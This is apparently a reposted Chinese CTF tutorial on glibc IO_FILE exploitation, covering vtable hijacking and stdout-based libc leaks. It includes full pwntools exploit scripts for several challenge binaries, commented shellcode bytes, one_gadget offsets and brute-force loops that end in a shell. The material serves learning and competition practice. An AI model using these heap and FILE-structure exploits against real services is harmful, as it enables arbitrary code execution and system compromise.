堆进阶学习之第4大利器——IO_File

2019-10-06 约 1832 字 预计阅读 9 分钟

声明:本文 【堆进阶学习之第4大利器——IO_File】 由作者 小白King 于 2019-10-06 08:09:28 首发 先知社区 曾经 浏览数 589 次

感谢 小白King 的辛苦付出!

这篇文章是对上一篇的更新,IO_File是很重要的一个环节,学好了对于堆的CTF题目事半功倍,下面进入正题。

一、IO_File结构体一览

首先看一波源码:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示

,通过这个值我们可以遍历所有的FILE结构。

在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8

在gdb中调试下看看:

Vtable存着哪些可以跳转的函数指针呢?看看

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

这里自己写了个简单的程序去研究:

可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>.........malloc(“666”)——>write输出666

_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。

因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现

所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。

二、修改vtable实现控制程序流程:

The_end

有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想

成格式化字符串写地址),具体往哪里写呢,先来看下结构体:

可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址,IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:

exp:

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
    p = process('./the_end')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
for i in range(2):
    sd(p64(vtable+i))
    sd(p64(fake_vtable)[i])
for i in range(3):
    sd(p64(fake_setbuf+i))
    sd(p64(onegadget)[i])

p.interactive()

调试看看情况,发现成功改写:

其实这题还可以直接利用exit执行_dl_fini:

我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
    p = process('./the_end')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
free_hook = libc_base + libc.symbols["__free_hook"]

fake_got = libc_base + 0x5f0f48
print "fake_got--->"  + hex(fake_got)
print "onegadget--->" + hex(onegadget)
for i in range(5):
    sd(p64(fake_got+i))
    sd(p64(onegadget)[i])


p.interactive()

总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。

三、IO_2_1_stdout_泄露地址

这里得看一波源码才了解具体的原理:

首先得知道puts函数的函数调用链:

我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow源码分析:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;//程序会dang,所以我们不能进入这个if分支,所以f->_flags & _IO_NO_WRITES要等于0,所以flag=0xfbad0000
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
      //这个分支复杂,最后也会dang,我们不能进去,所以f->_flags & _IO_CURRENTLY_PUTTING=1即可,所以flag=0xfbad0800
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //目标函数,这里执行_IO_do_write会涉及到syscall,相当于write(1,buf,size),由于目的就是泄露地址,所以buf=_IO_write_base就是我们要修改的值,一般将末尾改成'\x00',原本是有值的
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

进去do_new_write:

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{//相当于write(1,buf,size)
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)//要进去的话,flag=0xfbad1800
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {//这里虽然可以改,但是如果改成相同的,程序会crash掉,所以要避免进去这个分支
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);   //最终输出,系统调用write
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;//回显出write出来的东西
}

好了,源码解析完毕了,下面就是利用演示了:

这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为'\x00',在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。

程序就是常规的菜单题:

我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Index: ")
    sl(str(index))
def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sd(content)

这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:

malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')

先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~

再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
    p = process('./fkroman')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Index: ")
    sl(str(index))
def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sd(content)

def pwn():
    malloc(0,0x400)
    malloc(1,0x60)
    malloc(2,0x20)
    free(0)
    malloc(3,0x60)
    malloc(4,0x60)
    malloc(5,0x60)
    free(3)
    free(4)
    edit(4,1,'\xe0')
    malloc(3,0x60)
    edit(5,2,'\xdd\x75')
    # debug(0)
    malloc(4,0x60)

    py = ''
    py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    malloc(5,0x60)
    edit(5,len(py),py)
    rc(0x40)
    libc_base = u64(rc(8)) - 0x3c5600
    print "libc_base--->" + hex(libc_base)
    onegadget = libc_base + 0x4526a
    fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23
    free(1)
    edit(1,8,p64(fake_chunk))
    malloc(1,0x60)
    malloc(6,0x60)
    py = ''
    py += 'a'*0x13 + p64(onegadget)
    edit(6,len(py),py)
    malloc(7,0x60)
i = 1
while 1:
    print i
    i += 1
    try:
        pwn()
    except Exception as e:
        p.close()
        local = 1
        elf = ELF('./fkroman')
        if local:
            p = process('./fkroman')
            libc = elf.libc
        else:
            p = remote('116.85.48.105',5005)
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        continue
    else:
        sl('cat flag')
p.interactive()

总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。

四、先IO_File泄露地址再修改vtable控制程序流程

拿byteCTF的那道note_five为例:

这题质量还是挺高的,先来看看保护机制:

保护全开,然后看看ida分析逻辑:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int choice; // ST0C_4
  __int64 result; // rax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          choice = menu();
          result = choice;
          if ( choice != 2 )
            break;
          edit();
        }
        if ( result > 2 )
          break;
        if ( result != 1 )
          goto LABEL_12;
        malloc_0();
      }
      if ( result != 3 )
        break;
      free_0();
    }
    if ( result == 4 )
      return result;
LABEL_12:
    puts("bad choice");
  }
}

常见的菜单题,

这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。

这里看看漏洞点:

edit时存在offbyone,同时没有puts函数可以泄露地址。

攻击思路如下:

1、利用offbyone实现overlap

2、利用overlap实现改BK指针,攻击global_max_fast

3、改FD指针为stdout-0x51,成功实现劫持

4、改结构体从而泄露真实地址

5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。

上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note_five')
if local:
    p = process('./note_five')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

def bk(mallocr):
    gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
    else:
        gdb.attach(p,"b *{}".format(hex(mallocr)))

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
    ru("choice>> ")
    sl('1')
    ru("idx: ")
    sl(str(idx))
    ru("size: ")
    sl(str(size))
def free(index):
    ru("choice>> ")
    sl('3')
    ru("idx:")
    sl(str(index))
def edit(index,content):
    ru("choice>> ")
    sl('2')
    ru("idx: ")
    sl(str(index))
    ru("content: ")
    sd(content)
def pwn():
    malloc(0,0xf8)
    malloc(1,0xf8)
    malloc(2,0xe8)
    malloc(3,0xf8)
    malloc(4,0xf8)

    free(0)
    payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
    edit(2,payload)
    free(3)
    malloc(0,0x2f0 - 0x10)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    free(1)
    global_max_fast = 0x77f8
    stdout = 0x77f8 - 0x1229
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
    edit(0,payload)
    # debug(0)
    malloc(3,0xf8)
    malloc(3,0xf8)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    free(2)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
    payload += p16(stdout) + '\n'
    edit(0,payload)
    malloc(3,0xe8)
    malloc(4,0xe8)
    # debug(0)
    py = ''
    py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 
    edit(4,py)
    rc(0x40)
    libc_base = u64(rc(8)) - 0x3c5600
    onegadget = libc_base + 0xf1147
    print "libc_base--->" + hex(libc_base)
    system = libc_base + libc.symbols["system"]
    fake_vtable = libc_base + 0x3c5600-8 
    binsh = libc_base + libc.search('/bin/sh\x00').next()
    py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
    edit(4,py)
    # trigger abort-->flush
    malloc(1,1000)

i = 0
while 1:
    print i
    i += 1
    try:
        pwn()
    except EOFError:
        p.close()
        local = 1
        elf = ELF('./note_five')
        if local:
            p = process('./note_five')
            libc = elf.libc
            continue
        else:
            p = remote('121.40.246.48',9999)
    else:
        sl("ls")
        break
p.interactive()





# p.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now